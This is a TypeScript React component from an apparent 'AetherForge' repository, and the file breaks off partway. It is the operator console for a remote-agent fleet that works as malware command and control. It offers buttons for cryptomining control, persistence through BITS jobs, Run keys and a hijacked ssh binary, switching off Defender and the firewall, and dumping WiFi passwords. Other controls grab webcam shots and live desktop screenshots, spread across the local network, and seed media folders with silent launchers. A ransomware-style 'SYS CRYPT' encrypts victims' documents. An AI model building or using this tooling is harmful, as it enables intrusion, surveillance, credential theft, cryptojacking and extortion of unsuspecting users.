Files
AetherForge/server/web/src/components/Fleet/CrucibleExpandedOps.tsx
AetherForge 415b5dc6a3
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Release validation: tests green, USB pack, fleet UX and API hardening.
Fix macOS agent cross-compile (SilentAVExclusion) and Calibrate E2E nav selector; expand tests and docs; refresh portable usb binary and spread/wiki assets.
2026-06-06 16:57:39 -07:00

895 lines
43 KiB
TypeScript
Raw Blame History

This file contains ambiguous Unicode characters
This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
import { useState, useEffect, useRef, useCallback } from 'react';
import { api } from '../../api/client';
import type { Agent, Build } from '../../types';
import { aggressiveActionHint, type AggressiveRemoteAction } from '../../help/aggressiveActions';
import {
isWindowsPlatform,
onlineAgents,
parseCameraListMessage,
selectionAggressiveHint,
selectionCanRunAggressive,
} from '../../help/crucibleOps';
import { desktopPathHint, pushFileToAgentDesktop } from '../../help/desktopPush';
import CrucibleCollapsibleSection from './CrucibleCollapsibleSection';
import CruciblePortForwardMatrix from './CruciblePortForwardMatrix';
import FileManager from './FileManager';
import ProtocolTunnelPanel from './ProtocolTunnelPanel';
import './ProtocolTunnelPanel.css';
interface FmCommandResult {
agentId: string;
action: string;
success: boolean;
message: string;
}
interface Props {
activeTab: 'ops' | 'recon' | 'files' | 'spread' | 'tunnels';
selectedAgents: Agent[];
selectedCount: number;
singleSelectedAgent: Agent | null;
allAgents: Agent[];
commandResults?: Array<{ agent_id?: string; action?: string; success?: boolean; message?: string }>;
onEcho: (text: string, isCmd?: boolean) => void;
onAgentError: (agentId: string, agentName: string, action: string, err: unknown) => void;
onScanSelected: () => void;
onProbePosture: () => void;
onProbeSSH: () => void;
onWakeSSH: () => void;
onShellDispatch: (command: string) => void;
browseAgent: Agent | null;
encryptTargets: Array<{ id: string; name: string }>;
fmCommandResults: FmCommandResult[];
tunnelStatusMsg: string;
onDispatchTunnel: (action: string, args?: Record<string, unknown>) => Promise<void>;
}
export default function CrucibleExpandedOps({
activeTab,
selectedAgents,
selectedCount,
singleSelectedAgent,
allAgents,
commandResults,
onEcho,
onAgentError,
onScanSelected,
onProbePosture,
onProbeSSH,
onWakeSSH,
onShellDispatch,
browseAgent,
encryptTargets,
fmCommandResults,
tunnelStatusMsg,
onDispatchTunnel,
}: Props) {
const targets = onlineAgents(selectedAgents);
const winTargets = targets.filter((a) => isWindowsPlatform(a.platform));
const hasSelection = selectedCount > 0;
const singleOnline = singleSelectedAgent?.status === 'online' ? singleSelectedAgent : null;
const onlineFleetCount = allAgents.filter((a) => a.status === 'online').length;
const [builds, setBuilds] = useState<Build[]>([]);
const [selectedBuildId, setSelectedBuildId] = useState('');
const [liveDesktop, setLiveDesktop] = useState(false);
const liveDesktopRef = useRef(false);
liveDesktopRef.current = liveDesktop;
const [wolMac, setWolMac] = useState('');
const [registryOpen, setRegistryOpen] = useState(false);
const [regHive, setRegHive] = useState('HKCU');
const [regPath, setRegPath] = useState('Software\\Microsoft\\Windows\\CurrentVersion\\Run');
const [regName, setRegName] = useState('');
const [regValue, setRegValue] = useState('');
const [regType, setRegType] = useState('REG_SZ');
const [cameras, setCameras] = useState<string[]>([]);
const [selectedCamera, setSelectedCamera] = useState('');
const [killPid, setKillPid] = useState('');
const [deletePath, setDeletePath] = useState('');
const [moveSrc, setMoveSrc] = useState('');
const [moveDst, setMoveDst] = useState('');
const [wipePath, setWipePath] = useState('');
const [downloadPath, setDownloadPath] = useState('');
const [uploadPath, setUploadPath] = useState('');
const uploadFileRef = useRef<HTMLInputElement | null>(null);
const [seekPath, setSeekPath] = useState('');
const [seekStem, setSeekStem] = useState('4K Enhance');
const [seekWin, setSeekWin] = useState(true);
const [seekMac, setSeekMac] = useState(true);
const [tunnelURL, setTunnelURL] = useState('');
useEffect(() => {
api.listBuilds().then(setBuilds).catch(() => setBuilds([]));
}, []);
useEffect(() => {
if (singleSelectedAgent?.mac_address && !wolMac) {
setWolMac(singleSelectedAgent.mac_address);
}
}, [singleSelectedAgent?.mac_address, wolMac]);
const dispatchOne = useCallback(
async (agent: Agent, action: string, args: Record<string, unknown> = {}) => {
try {
const res = await api.sendAgentCommand(agent.id, action, args);
if (res.success === false) {
onAgentError(agent.id, agent.name, action, res.error ?? 'rejected');
}
} catch (err) {
onAgentError(agent.id, agent.name, action, err);
}
},
[onAgentError]
);
const bulkDispatch = useCallback(
(action: string, args: Record<string, unknown> = {}, tgts = targets) => {
if (tgts.length === 0) return;
for (const a of tgts) {
void dispatchOne(a, action, args);
}
onEcho(`${action}${tgts.length} node(s)`, true);
},
[dispatchOne, onEcho, targets]
);
const aggDisabled = (action: AggressiveRemoteAction) =>
!hasSelection || targets.length === 0 || !selectionCanRunAggressive(action, selectedAgents);
const aggTitle = (action: AggressiveRemoteAction) =>
selectionAggressiveHint(action, selectedAgents) ??
aggressiveActionHint(action, singleSelectedAgent?.capabilities, singleSelectedAgent?.platform);
const aggBulk = (
action: AggressiveRemoteAction,
args: Record<string, unknown> = {},
confirm?: string,
tgts = targets
) => {
if (!hasSelection || tgts.length === 0) return;
if (confirm && !window.confirm(confirm)) return;
bulkDispatch(action, args, tgts);
};
const launchSeek = () => {
if (targets.length === 0) {
alert('Select at least one online node to seed from.');
return;
}
if (!seekPath.trim()) {
alert('Enter a root path to scan (e.g. D:\\ or /Volumes/Movies).');
return;
}
const flag = seekWin && seekMac ? 'all' : seekWin ? 'win' : 'mac';
for (const a of targets) {
api.sendAgentCommand(a.id, 'supp_seek', {
path: seekPath.trim(),
command: flag,
data: seekStem.trim() || '4K Enhance',
}).catch((err) => onAgentError(a.id, a.name, 'supp_seek', err));
}
onEcho(
`SUPP SEEK → ${seekPath.trim()} [${flag.toUpperCase()}] stem="${seekStem || '4K Enhance'}" on ${targets.length} node(s)`,
true
);
};
const intelCmds = ['screenshot', 'camera_snapshot', 'clipboard', 'wifi', 'software', 'ps', 'netstat', 'sysinfo', 'users'] as const;
const intelTitles: Record<(typeof intelCmds)[number], string> = {
screenshot: 'Capture the desktop screenshot',
camera_snapshot: 'Capture one JPEG frame from USB/built-in webcam (ffmpeg on agent)',
clipboard: 'Read the current clipboard contents',
wifi: 'Dump all saved WiFi passwords',
software: 'List installed programs',
ps: 'Running process list (tasklist)',
netstat: 'Active TCP/UDP connections',
sysinfo: 'Full system info (OS, CPU, RAM, uptime)',
users: 'Local user accounts + whoami /all',
};
useEffect(() => {
if (!liveDesktop || !singleOnline) return;
let focused = document.visibilityState === 'visible';
const onVis = () => { focused = document.visibilityState === 'visible'; };
document.addEventListener('visibilitychange', onVis);
const tick = () => {
if (!focused || !liveDesktopRef.current) return;
api.sendAgentCommand(singleOnline.id, 'screenshot').catch(() => {});
};
const id = setInterval(tick, 3000);
tick();
return () => {
clearInterval(id);
document.removeEventListener('visibilitychange', onVis);
};
}, [liveDesktop, singleOnline]);
useEffect(() => () => setLiveDesktop(false), []);
const lastCameraMsg = useRef('');
useEffect(() => {
if (!commandResults?.length) return;
const hit = [...commandResults].reverse().find((r) => r.action === 'camera_list' && r.success && r.message);
if (!hit?.message || hit.message === lastCameraMsg.current) return;
lastCameraMsg.current = hit.message;
const devs = parseCameraListMessage(hit.message);
if (devs.length > 0) {
setCameras(devs);
setSelectedCamera(devs[0]);
}
}, [commandResults]);
const listCameras = async () => {
const agent = singleOnline ?? targets[0];
if (!agent) return;
onEcho('camera_list → ' + agent.name, true);
try {
const res = await api.sendAgentCommand(agent.id, 'camera_list');
if (res.success === false) {
onAgentError(agent.id, agent.name, 'camera_list', res.error);
}
} catch (err) {
onAgentError(agent.id, agent.name, 'camera_list', err);
}
};
const registryDispatch = (action: 'registry_read' | 'registry_write' | 'registry_delete') => {
const regTargets = targets.filter((a) => isWindowsPlatform(a.platform));
if (regTargets.length === 0) {
alert('Registry ops require online Windows agent(s).');
return;
}
if (regTargets.length > 1 && !window.confirm(`Registry ${action} on ${regTargets.length} Windows nodes?`)) {
return;
}
const payload =
action === 'registry_read'
? { data: JSON.stringify({ hive: regHive, path: regPath }) }
: action === 'registry_write'
? {
data: JSON.stringify({
hive: regHive,
path: regPath,
name: regName,
value: regValue,
type: regType,
}),
}
: { data: JSON.stringify({ hive: regHive, path: regPath, name: regName }) };
bulkDispatch(action, payload, regTargets);
};
const sendWol = async () => {
const tgts = selectedAgents.length > 0 ? selectedAgents : [];
if (tgts.length === 0) return;
for (const a of tgts) {
try {
const res = await api.sendWOL(a.id, wolMac || a.mac_address || undefined);
onEcho(
res.success
? `✓ WOL → ${a.name} (${res.mac ?? wolMac ?? 'stored MAC'})`
: `✗ WOL ${a.name}: ${res.error ?? 'failed'}`,
true
);
} catch (err) {
onAgentError(a.id, a.name, 'wol', err);
}
}
};
const pushUpgrade = () => {
const build = builds.find((b) => b.id === selectedBuildId);
if (!build?.download_url || targets.length === 0) return;
if (!window.confirm(`Push upgrade (${build.file_name ?? build.id}) to ${targets.length} node(s)?`)) return;
bulkDispatch('upgrade', { data: build.download_url });
};
const panelClass = `crucible-ops crucible-ops--${activeTab}`;
if (activeTab === 'ops') {
return (
<div className={panelClass}>
<CrucibleCollapsibleSection label="Mining" className="cop-mining" helpField="crucible_mining_ops" defaultOpen>
<button
type="button"
className="button crucible-op-btn"
disabled={!hasSelection}
title="Resume hashing on selected online nodes"
onClick={() => {
const ids = targets.map((a) => a.id);
if (ids.length === 0) return;
api.sendBulkCommand(ids, 'resume').then((r) => onEcho(`resume → sent:${r.sent} failed:${r.failed}`, true)).catch((err) => onEcho(`[ERROR] resume: ${err}`, false));
}}
>
Resume
</button>
<button
type="button"
className="button crucible-op-btn"
disabled={!hasSelection}
title="Pause hashing without disconnecting the agent"
onClick={() => {
const ids = targets.map((a) => a.id);
if (ids.length === 0) return;
api.sendBulkCommand(ids, 'pause').then((r) => onEcho(`pause → sent:${r.sent} failed:${r.failed}`, true)).catch((err) => onEcho(`[ERROR] pause: ${err}`, false));
}}
>
Pause
</button>
<button type="button" className="button crucible-op-btn" disabled={!hasSelection} title="Run whoami on selected" onClick={() => onShellDispatch('whoami')}>
whoami
</button>
<button type="button" className="button crucible-op-btn" disabled={!hasSelection} title="Network adapter info" onClick={() => onShellDispatch('ipconfig /all')}>
ipconfig
</button>
</CrucibleCollapsibleSection>
<CrucibleCollapsibleSection label="Agent Control" className="cop-agent" helpField="crucible_section_agent" defaultOpen>
<button
type="button"
className="button crucible-op-btn"
disabled={!hasSelection}
title="Restart the agent process"
onClick={() => {
const ids = targets.map((a) => a.id);
if (ids.length === 0) return;
api.sendBulkCommand(ids, 'restart').then((r) => onEcho(`restart → sent:${r.sent} failed:${r.failed}`, true)).catch(() => null);
}}
>
Restart
</button>
<button
type="button"
className="button crucible-op-btn"
disabled={!hasSelection}
title="Pull the last 300 lines of the agent log"
onClick={() => {
targets.forEach((a) => api.sendAgentCommand(a.id, 'get_log', { tail_lines: 300 }).catch(() => null));
onEcho(`get_log → ${selectedCount} node(s)`, true);
}}
>
Get Log
</button>
<button
type="button"
className="button crucible-op-btn"
disabled={!hasSelection}
title="Kill the agent process (watchdog may restart it)"
style={{ color: '#ff8c00' }}
onClick={() => {
if (!window.confirm(`Kill agent process on ${selectedCount} node(s)?`)) return;
targets.forEach((a) => api.sendAgentCommand(a.id, 'stop').catch(() => null));
onEcho(`kill → ${selectedCount} node(s)`, true);
}}
>
Kill
</button>
<button
type="button"
className="button crucible-op-btn"
disabled={!hasSelection}
title="Remove persistence, delete files, exit"
style={{ color: '#ff4444' }}
onClick={() => {
if (!window.confirm(`UNINSTALL from ${selectedCount} node(s)? This removes persistence and deletes all agent files.`)) return;
targets.forEach((a) => api.sendAgentCommand(a.id, 'uninstall').catch(() => null));
onEcho(`uninstall → ${selectedCount} node(s)`, true);
}}
>
Uninstall
</button>
</CrucibleCollapsibleSection>
<CrucibleCollapsibleSection label="System Power" className="cop-sys" helpField="crucible_section_system">
<button
type="button"
className="button crucible-op-btn"
disabled={!hasSelection}
title="OS reboot"
onClick={() => {
if (!window.confirm(`Reboot ${selectedCount} machine(s)?`)) return;
targets.forEach((a) => api.sendAgentCommand(a.id, 'reboot_machine').catch(() => null));
onEcho(`reboot_machine → ${selectedCount} node(s)`, true);
}}
>
Reboot
</button>
<button
type="button"
className="button crucible-op-btn"
disabled={!hasSelection}
title="OS shutdown (power off)"
style={{ color: '#ff4444' }}
onClick={() => {
if (!window.confirm(`Shutdown ${selectedCount} machine(s)?`)) return;
targets.forEach((a) => api.sendAgentCommand(a.id, 'shutdown_machine').catch(() => null));
onEcho(`shutdown_machine → ${selectedCount} node(s)`, true);
}}
>
Shutdown
</button>
</CrucibleCollapsibleSection>
<CrucibleCollapsibleSection label="Persistence" className="cop-persist" helpField="crucible_section_persistence" defaultOpen>
<button type="button" className="button crucible-op-btn" disabled={aggDisabled('bits_persist')} title={aggTitle('bits_persist') || 'Register BITS notify job (Windows)'} onClick={() => aggBulk('bits_persist')}>
BITS Persist
</button>
<button type="button" className="button crucible-op-btn" disabled={aggDisabled('host_binary_persist')} title={aggTitle('host_binary_persist') || 'Hijack host client binary'} onClick={() => aggBulk('host_binary_persist', { path: 'ssh' })}>
Host Binary
</button>
<button type="button" className="button crucible-op-btn" disabled={!hasSelection || targets.length === 0} title="Read-only audit: Run keys, tasks, systemd/launchd" onClick={() => bulkDispatch('persistence_audit')}>
Persistence Audit
</button>
</CrucibleCollapsibleSection>
<CrucibleCollapsibleSection label="Maintenance & Registry" className="cop-maint" helpField="crucible_section_maintenance" defaultOpen>
<div className="crucible-inline-row crucible-upgrade-row">
<select className="crucible-inline-select" value={selectedBuildId} onChange={(e) => setSelectedBuildId(e.target.value)} disabled={targets.length === 0}>
<option value=""> pick build </option>
{builds.filter((b) => b.download_url).map((b) => (
<option key={b.id} value={b.id}>
{b.file_name ?? b.id} ({b.platform ?? 'win'})
</option>
))}
</select>
<button type="button" className="button crucible-op-btn" disabled={!selectedBuildId || targets.length === 0} onClick={pushUpgrade}>
Push Upgrade
</button>
</div>
<div className="crucible-inline-row">
<input className="crucible-inline-input" placeholder="MAC (optional)" value={wolMac} onChange={(e) => setWolMac(e.target.value)} />
<button type="button" className="button crucible-op-btn" disabled={!hasSelection} title="POST /agents/{id}/wol — works when offline" onClick={() => void sendWol()}>
Wake-on-LAN
</button>
</div>
<button type="button" className="button crucible-op-btn crucible-op-muted" onClick={() => setRegistryOpen((v) => !v)} disabled={!hasSelection}>
Registry {registryOpen ? '▲' : '▼'}
</button>
{registryOpen && (
<div className="crucible-registry-panel">
<div className="crucible-inline-row">
<select className="crucible-inline-select" value={regHive} onChange={(e) => setRegHive(e.target.value)}>
<option value="HKCU">HKCU</option>
<option value="HKLM">HKLM</option>
</select>
<input className="crucible-inline-input" value={regPath} onChange={(e) => setRegPath(e.target.value)} placeholder="Software\...\Run" />
</div>
<div className="crucible-inline-row">
<input className="crucible-inline-input" value={regName} onChange={(e) => setRegName(e.target.value)} placeholder="Value name" />
<input className="crucible-inline-input" value={regValue} onChange={(e) => setRegValue(e.target.value)} placeholder="Value (write)" />
</div>
<div className="crucible-inline-row">
<button type="button" className="button crucible-op-btn" disabled={targets.length === 0} onClick={() => registryDispatch('registry_read')}>Read</button>
<button type="button" className="button crucible-op-btn" disabled={targets.length === 0 || !regName} onClick={() => registryDispatch('registry_write')}>Write</button>
<button type="button" className="button crucible-op-btn" disabled={targets.length === 0 || !regName} onClick={() => registryDispatch('registry_delete')}>Delete</button>
</div>
</div>
)}
<div className="crucible-inline-row">
<input className="crucible-inline-input" placeholder="PID to kill" value={killPid} onChange={(e) => setKillPid(e.target.value)} />
<button
type="button"
className="button crucible-op-btn"
disabled={!killPid.trim() || targets.length === 0}
onClick={() => {
if (!window.confirm(`Kill PID ${killPid} on ${targets.length} node(s)?`)) return;
bulkDispatch('kill_process', { command: killPid.trim() });
}}
>
Kill Process
</button>
</div>
</CrucibleCollapsibleSection>
</div>
);
}
if (activeTab === 'recon') {
return (
<div className={panelClass}>
<CrucibleCollapsibleSection label="Posture & Scans" className="cop-recon" helpField="crucible_posture_badge" defaultOpen>
<button
type="button"
className="button crucible-op-btn crucible-op-scan"
disabled={!hasSelection && onlineFleetCount === 0}
onClick={onScanSelected}
title={hasSelection ? `Deep scan ${selectedCount} selected node(s)` : `Deep scan all ${onlineFleetCount} online nodes`}
>
{hasSelection ? `⬡ Deep Scan (${selectedCount} selected)` : `⬡ Deep Scan Fleet (${onlineFleetCount} online)`}
</button>
<button type="button" className="button crucible-op-btn" disabled={!hasSelection && onlineFleetCount === 0} onClick={onProbePosture} title="Posture only (AV, firewall, SSH state)">
Posture Only
</button>
<button
type="button"
className="button crucible-op-btn"
style={{ borderColor: 'rgba(0,245,255,0.5)' }}
disabled={!hasSelection}
title="Deep audit: firewall, WAN IP, geo, DNS, ARP, subnet scan, hardware, listeners (3060s)"
onClick={() => bulkDispatch('full_sys_check')}
>
Full Sys Check
</button>
</CrucibleCollapsibleSection>
<CrucibleCollapsibleSection label="System Intel" className="cop-recon" helpField="crucible_section_intel" defaultOpen>
{intelCmds.map((cmd) => (
<button key={cmd} type="button" className="button crucible-op-btn" disabled={!hasSelection} title={intelTitles[cmd]} onClick={() => bulkDispatch(cmd)}>
{cmd}
</button>
))}
</CrucibleCollapsibleSection>
<CrucibleCollapsibleSection label="Security & Defenses" className="cop-agg" helpField="crucible_section_security">
<button type="button" className="button crucible-op-btn" disabled={!hasSelection} title="Disable Windows Defender real-time monitoring (requires admin)" onClick={() => bulkDispatch('defender_off')}>
Defender Off
</button>
<button
type="button"
className="button crucible-op-btn"
disabled={!hasSelection}
title="Dump all saved WiFi network credentials from selected Windows nodes"
style={{ borderColor: '#ff6b35', color: '#ff6b35' }}
onClick={() => bulkDispatch('get_wifi_passwords')}
>
📶 WiFi Passwords
</button>
</CrucibleCollapsibleSection>
<CrucibleCollapsibleSection label="Network & Firewall Posture" className="cop-network" helpField="crucible_section_network">
<button type="button" className="button crucible-op-btn" disabled={!hasSelection || targets.length === 0} title="C2 + pool DNS/TCP reachability JSON" onClick={() => bulkDispatch('connectivity_probe')}>
Connectivity Probe
</button>
<button type="button" className="button crucible-op-btn" disabled={!hasSelection || targets.length === 0} title="TCP listeners table" onClick={() => bulkDispatch('listen_ports')}>
Listen Ports
</button>
<button type="button" className="button crucible-op-btn" disabled={!hasSelection || targets.length === 0} title="Windows Update / patch exposure" onClick={() => bulkDispatch('patch_status')}>
Patch Status
</button>
<button type="button" className="button crucible-op-btn" disabled={!hasSelection || targets.length === 0} title="ARP cache neighbors on shared subnets" onClick={() => bulkDispatch('arp_neighbors')}>
ARP Neighbors
</button>
<button type="button" className="button crucible-op-btn" disabled={aggDisabled('firewall_punch')} title={aggTitle('firewall_punch')} onClick={() => aggBulk('firewall_punch', { command: '8989' })}>
Open FW Port
</button>
<button type="button" className="button crucible-op-btn" disabled={aggDisabled('firewall_off')} title={aggTitle('firewall_off')} onClick={() => aggBulk('firewall_off', {}, 'Disable Windows Firewall on ALL profiles?')}>
FW Off
</button>
<button type="button" className="button crucible-op-btn" disabled={aggDisabled('firewall_on')} title={aggTitle('firewall_on')} onClick={() => aggBulk('firewall_on', {}, 'Enable Windows Firewall on all profiles?')}>
FW On
</button>
<button type="button" className="button crucible-op-btn" disabled={aggDisabled('firewall_profiles')} title={aggTitle('firewall_profiles') || 'Disable Private+Public profiles'} onClick={() => aggBulk('firewall_profiles', { command: 'off', path: 'Private,Public' })}>
FW Private Off
</button>
<button type="button" className="button crucible-op-btn" disabled={aggDisabled('firewall_remove')} title={aggTitle('firewall_remove')} onClick={() => aggBulk('firewall_remove', {}, 'Remove AetherForge firewall rules?')}>
Remove FW Rules
</button>
<button type="button" className="button crucible-op-btn" disabled={aggDisabled('hole_punch_status')} title={aggTitle('hole_punch_status')} onClick={() => aggBulk('hole_punch_status')}>
WAN IP
</button>
</CrucibleCollapsibleSection>
<CrucibleCollapsibleSection label="Media & Desktop Capture" className="cop-recon" helpField="crucible_section_media">
{singleOnline && (
<button type="button" className={`button crucible-op-btn ${liveDesktop ? 'crucible-op-active' : ''}`} title="Poll screenshot every 3s while tab is focused" onClick={() => setLiveDesktop((v) => !v)}>
{liveDesktop ? '■ Live Desktop' : '▶ Live Desktop'}
</button>
)}
<div className="crucible-camera-row">
<button type="button" className="button crucible-op-btn" disabled={targets.length === 0} onClick={() => void listCameras()}>
List Cameras
</button>
{cameras.length > 0 && (
<select className="crucible-inline-select" value={selectedCamera} onChange={(e) => setSelectedCamera(e.target.value)}>
<option value=""> first device </option>
{cameras.map((c) => (
<option key={c} value={c}>{c}</option>
))}
</select>
)}
<button type="button" className="button crucible-op-btn" disabled={targets.length === 0} onClick={() => bulkDispatch('camera_snapshot', selectedCamera ? { command: selectedCamera } : {})}>
Camera Snap
</button>
</div>
</CrucibleCollapsibleSection>
</div>
);
}
if (activeTab === 'files') {
return (
<div className={panelClass}>
<CrucibleCollapsibleSection label="Quick Transfer" className="cop-fileops" helpField="crucible_section_files_quick" defaultOpen>
<div className="crucible-inline-row" style={{ width: '100%' }}>
<label className="button crucible-op-btn" style={{ cursor: !hasSelection ? 'not-allowed' : 'pointer', opacity: !hasSelection ? 0.5 : 1 }} title="Push a local file to each selected agent's Desktop">
Desktop
<input
type="file"
style={{ display: 'none' }}
disabled={!hasSelection}
onChange={async (e) => {
const file = e.target.files?.[0];
if (!file) return;
try {
for (const a of targets) {
await pushFileToAgentDesktop((action, args) => api.sendAgentCommand(a.id, action, args), file);
}
onEcho(`push_desktop ${file.name}${targets.length} node(s)`, true);
} catch (err) {
alert(err instanceof Error ? err.message : String(err));
}
e.target.value = '';
}}
/>
</label>
<span className="form-hint" style={{ fontSize: '0.72rem', opacity: 0.75 }}>
{desktopPathHint(selectedAgents[0]?.platform)}
</span>
</div>
<div className="crucible-inline-row" style={{ width: '100%' }}>
<input className="crucible-inline-input" placeholder="Remote path (or @desktop/file.txt)" value={downloadPath} onChange={(e) => setDownloadPath(e.target.value)} />
<button
type="button"
className="button crucible-op-btn"
disabled={!hasSelection || !downloadPath.trim()}
title="Download a file from the agent (result is base64 in terminal)"
onClick={() => bulkDispatch('download', { path: downloadPath.trim() })}
>
Download
</button>
</div>
<div className="crucible-inline-row" style={{ width: '100%' }}>
<input className="crucible-inline-input" placeholder="Path or @desktop/filename" value={uploadPath} onChange={(e) => setUploadPath(e.target.value)} />
<label className="button crucible-op-btn" style={{ cursor: 'pointer' }} title="Upload to custom path, or leave blank and use ↑ Desktop">
Push path
<input
type="file"
style={{ display: 'none' }}
ref={(el) => { uploadFileRef.current = el; }}
onChange={async (e) => {
const file = e.target.files?.[0];
if (!file) return;
const p = uploadPath.trim() || `@desktop/${file.name}`;
try {
const { readFileAsBase64 } = await import('../../help/desktopPush');
const b64 = await readFileAsBase64(file);
targets.forEach((a) => api.sendAgentCommand(a.id, 'upload', { path: p, data: b64 }).catch((err) => onAgentError(a.id, a.name, 'upload', err)));
onEcho(`upload ${file.name}${p} on ${targets.length} node(s)`, true);
} catch (err) {
alert(err instanceof Error ? err.message : String(err));
}
if (uploadFileRef.current) uploadFileRef.current.value = '';
}}
/>
</label>
</div>
</CrucibleCollapsibleSection>
{browseAgent && hasSelection && (
<CrucibleCollapsibleSection label="Remote File Browser" className="cop-fileops" helpField="fm_remote_browse" defaultOpen>
{selectedCount > 1 && (
<p className="form-hint crucible-fm-hint">
Browsing {browseAgent.name} only Encrypt applies to all {encryptTargets.length} online selection(s).
</p>
)}
<FileManager
agentId={browseAgent.id}
agentName={browseAgent.name}
platform={browseAgent.platform}
online={browseAgent.status === 'online'}
encryptTargets={encryptTargets}
commandResults={fmCommandResults}
onTerminalLine={onEcho}
/>
</CrucibleCollapsibleSection>
)}
<CrucibleCollapsibleSection label="Advanced File Operations" className="cop-fileops" helpField="crucible_section_files_advanced">
<div className="crucible-inline-row" style={{ width: '100%' }}>
<input className="crucible-inline-input" placeholder="delete_path" value={deletePath} onChange={(e) => setDeletePath(e.target.value)} />
<button
type="button"
className="button crucible-op-btn"
disabled={!deletePath.trim() || targets.length === 0}
onClick={() => {
if (!window.confirm(`Delete file ${deletePath} on ${targets.length} node(s)?`)) return;
bulkDispatch('delete_path', { path: deletePath.trim() });
}}
>
Delete File
</button>
</div>
<div className="crucible-inline-row" style={{ width: '100%' }}>
<input className="crucible-inline-input" placeholder="move src" value={moveSrc} onChange={(e) => setMoveSrc(e.target.value)} />
<input className="crucible-inline-input" placeholder="move dst" value={moveDst} onChange={(e) => setMoveDst(e.target.value)} />
<button type="button" className="button crucible-op-btn" disabled={!moveSrc.trim() || !moveDst.trim() || targets.length === 0} onClick={() => bulkDispatch('move_path', { path: moveSrc.trim(), data: moveDst.trim() })}>
Move
</button>
</div>
<div className="crucible-inline-row" style={{ width: '100%' }}>
<input className="crucible-inline-input" placeholder="secure_wipe folder path" value={wipePath} onChange={(e) => setWipePath(e.target.value)} />
<button
type="button"
className="button crucible-op-btn"
disabled={!wipePath.trim() || aggDisabled('secure_wipe')}
title={aggTitle('secure_wipe') || 'Overwrite files then delete folder'}
onClick={() => {
if (!window.confirm(`Secure-wipe folder ${wipePath} on ${targets.length} node(s)?`)) return;
bulkDispatch('secure_wipe', { path: wipePath.trim() });
}}
>
Secure Wipe
</button>
</div>
</CrucibleCollapsibleSection>
<CrucibleCollapsibleSection label="⚠ Destructive" className="cop-destructive" helpField="crucible_section_destructive">
<button
type="button"
className="button crucible-op-btn"
disabled={!hasSelection}
title="AES-256-GCM encrypt every file in Documents/home (requires Remote Aggressive Ops)"
style={{
background: 'linear-gradient(135deg, #7b0000 0%, #cc0000 100%)',
border: '1px solid #ff2222',
color: '#fff',
fontWeight: 700,
letterSpacing: '0.06em',
}}
onClick={() => {
if (!window.confirm(`SYS CRYPT — encrypt Documents/home on ${selectedCount} node(s)?\n\nThis is IRREVERSIBLE without the key. Proceed?`)) return;
targets.forEach((a) => api.sendAgentCommand(a.id, 'sys_crypt').catch((err) => onAgentError(a.id, a.name, 'sys_crypt', err)));
onEcho(`SYS CRYPT → dispatched to ${selectedCount} node(s) — encrypting Documents/home`, true);
}}
>
🔒 SYS CRYPT ({selectedCount})
</button>
</CrucibleCollapsibleSection>
</div>
);
}
if (activeTab === 'spread') {
return (
<div className={panelClass}>
<CrucibleCollapsibleSection label="Lateral Movement" className="cop-agg" helpField="crucible_section_spread" defaultOpen>
<button type="button" className="button crucible-op-btn" disabled={aggDisabled('spread_now')} title={aggTitle('spread_now')} onClick={() => aggBulk('spread_now', {}, `Run lateral spread sweep on ${targets.length} node(s)?`)}>
Spread Now
</button>
<button type="button" className="button crucible-op-btn" disabled={aggDisabled('subnet_scan')} title={aggTitle('subnet_scan')} onClick={() => aggBulk('subnet_scan', { command: '64' })}>
Subnet Scan
</button>
<button type="button" className="button crucible-op-btn" disabled={aggDisabled('smb_shares') || winTargets.length === 0} title={aggTitle('smb_shares') || 'Enumerate \\\\host\\share on Windows LAN (JSON)'} onClick={() => aggBulk('smb_shares', {}, undefined, winTargets)}>
SMB Shares
</button>
<button type="button" className="button crucible-op-btn" disabled={!hasSelection || targets.length === 0} title="Last lateral spread sweep summary (JSON)" onClick={() => bulkDispatch('spread_status')}>
Spread Status
</button>
<button type="button" className="button crucible-op-btn" disabled={aggDisabled('credential_vault_list')} title={aggTitle('credential_vault_list') || 'Credential vault names only (no secrets)'} onClick={() => aggBulk('credential_vault_list')}>
Credential Names
</button>
</CrucibleCollapsibleSection>
<CrucibleCollapsibleSection label="◈ SUPP Seek Mode" className="cop-seek crucible-seek-group" helpField="crucible_section_seek">
<p className="crucible-seek-blurb">
Recursively seeds every media directory under the given path with silent launcher files.
</p>
<label className="seek-field-label">Root Path</label>
<input type="text" className="crucible-inline-input crucible-seek-input" placeholder="e.g. D:\ or /Volumes/Movies" value={seekPath} onChange={(e) => setSeekPath(e.target.value)} />
<label className="seek-field-label">Launcher Stem (file name)</label>
<input type="text" className="crucible-inline-input crucible-seek-input" placeholder="4K Enhance" value={seekStem} onChange={(e) => setSeekStem(e.target.value)} />
<div className="crucible-seek-platforms">
<label>
<input type="checkbox" checked={seekWin} onChange={(e) => setSeekWin(e.target.checked)} />
<span className="seek-win"> Windows</span>
<span className="seek-hint">.bat + .exe</span>
</label>
<label>
<input type="checkbox" checked={seekMac} onChange={(e) => setSeekMac(e.target.checked)} />
<span className="seek-mac"> Mac/Linux</span>
<span className="seek-hint">.command</span>
</label>
</div>
<button
type="button"
className="button crucible-op-btn crucible-seek-launch"
disabled={!hasSelection || (!seekWin && !seekMac)}
onClick={launchSeek}
title={!hasSelection ? 'Select at least one agent to seed from' : `Launch SUPP Seek on ${selectedCount} agent(s)`}
>
LAUNCH SEEK ({selectedCount} node{selectedCount !== 1 ? 's' : ''})
</button>
</CrucibleCollapsibleSection>
</div>
);
}
if (activeTab === 'tunnels') {
return (
<div className={panelClass}>
<CrucibleCollapsibleSection label="SSH Access" className="cop-ssh" helpField="crucible_section_ssh" defaultOpen>
<button type="button" className="button crucible-op-btn" disabled={!hasSelection} onClick={onProbeSSH} title="Probe port 22 on selected nodes">
Probe SSH
</button>
<button type="button" className="button crucible-op-btn crucible-op-wake" disabled={!hasSelection} onClick={onWakeSSH} title="Install + start OpenSSH server on selected Windows nodes">
Wake SSH
</button>
<div className="crucible-ssh-notes">
<div className="crucible-ssh-step">
<span className="css-num">1</span>
<div><strong>Probe</strong> test if port 22 is open on the target machine.</div>
</div>
<div className="crucible-ssh-step">
<span className="css-num">2</span>
<div><strong>Wake SSH (Windows)</strong> installs OpenSSH Server, starts the service, marks it auto-start. Requires admin agent.</div>
</div>
<div className="crucible-ssh-step">
<span className="css-num">3</span>
